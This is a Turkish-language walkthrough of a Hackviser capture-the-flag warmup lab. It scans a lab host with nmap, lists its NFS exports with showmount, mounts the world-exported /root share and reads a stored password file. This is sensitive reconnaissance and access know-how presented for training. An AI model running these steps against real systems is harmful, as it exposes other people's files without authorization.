

MOUNT ISINMASI

INFO: Network File Sharing (NFS), ağ üzerinden bilgisayarların dosya sistemlerindeki dosyaları paylaşabilmesini sağlayan bir protokoldür. NFS ile ilgili temel alıştırma yapmaları için önerilir.

1. 2049 numaralı portta çalışan servisin ismi nedir?

Bilgi: nmap taraması yapılarak öğrenilir.

Kullanımı: nmap -p- <ip-adresi>

```
[root@hackerbox]~# nmap -p- 172.20.2.141
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 14:52 CDT
Nmap scan report for 172.20.2.141
Host is up (0.00029s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
111/tcp    open  rpcbind
2049/tcp   open  nfs
33587/tcp  open  unknown
37473/tcp  open  unknown
37811/tcp  open  unknown
44669/tcp  open  unknown
MAC Address: 52:54:00:F4:3E:38 (QEMU virtual NIC)
```

Görüldüğü üzere "nfs"dir.

2. NFS'nin açılımı nedir?

Bilgi: NFS'nin açılımı "Network File System"dir. NFS, bir ağ üzerinde dosya paylaşımını sağlamak için kullanılan bir protokoldür. Linux ve Unix sistemlerinde yaygın olarak kullanılır ve bir bilgisayardaki dosyaların başka bir bilgisayardan ağ üzerinden erişilmesini sağlar. NFS sayesinde uzaktaki dosyalar, sanki yerel bir dizindeymiş gibi kullanılabilir.

3. Uzak bilgisayarlardaki paylaşılan NFS dışa aktarımlarını görüntülemek için kullanılan komut nedir?

Bilgi: Uzak bilgisayarlardaki paylaşılan NFS (Network File System) dışa aktarımlarını görüntülemek için kullanılan komut "showmount" komutudur.

Kullanımı:

```
[root@hackerbox]~# showmount 172.20.2.141
Hosts on 172.20.2.141:
10.0.0.61
[root@hackerbox]~#
```

4. Hedef makinenin NFS ile paylaştığı dizinin yolu nedir?

Bilgi: Uzak bilgisayarlardaki paylaşılan NFS (Network File System) dışa aktarımlarını görüntülemek için kullanılan komut showmount -e [sunucu_adi] komutudur. Bu komut, belirtilen sunucuda (NFS sunucusunda) hangi dizinlerin paylaşıldığını listeler.

Kullanımı:

```
[root@hackerbox]~# showmount -e 172.20.2.119
Export list for 172.20.2.119:
/root *
```

Görüldüğü üzere paylaştığı dizin yolu /root'dur.

5. NFS dışı aktarımlarını bilgisayara bağlamak için kullanılan komut nedir?

Bilgi: NFS dışı aktarımlarını (paylaşılan dizinleri) bilgisayarınıza bağlamak için `mount` komutu kullanılır.

Kullanımı: `mount -t nfs [NFS_sunucu_adi]:[paylaşılan_dizin] [yerele_bağlama_noktası]`

- `-t nfs`: NFS türünde bir dosya sistemi olduğunu belirtir.
- `[NFS_sunucu_adi]`: NFS sunucusunun adı veya IP adresi.
- `[paylaşılan_dizin]`: NFS sunucusundaki dışı aktarılmış dizinin yolu.
- `[yerele_bağlama_noktası]`: Bu dizinin yerel sistemde bağlanacağı nokta.

6. Bağladığınız (mount) dizindeki bir dosyaya kaydedilmiş olan parola nedir?

Bilgi: NFS dışı aktarımlarını (paylaşılan dizinleri) bilgisayarınıza bağlamak için `mount` komutu kullanılır.

Kullanımı:

```
[root@hackerbox]~#  
# mkdir -p /mnt/nfs_data  
[root@hackerbox]~#  
# mount -t nfs 172.20.2.119:/root /mnt/nfs_mount/  
mount.nfs: mount point /mnt/nfs_mount/ does not exist  
[x]-[root@hackerbox]~#  
# mount -t nfs 172.20.2.119:/root /mnt/nfs_data/  
[root@hackerbox]~#  
# cd /mnt/nfs_data  
[root@hackerbox]~/mnt/nfs_data#  
# ls  
password  
[root@hackerbox]~/mnt/nfs_data#  
# password  
bash: password: command not found  
[x]-[root@hackerbox]~/mnt/nfs_data#  
# cat password  
yrt1-pa6Y-cxTF-4vak  
[root@hackerbox]~/mnt/nfs_data#  
#
```

Görüldüğü üzere password'e ulaşılmıştır.

-ISINMA TAMAMLANDI-

Tebrikler

SweepingSpeedball56 Hackviser'ın Mount ısınmasını başarıyla tamamladı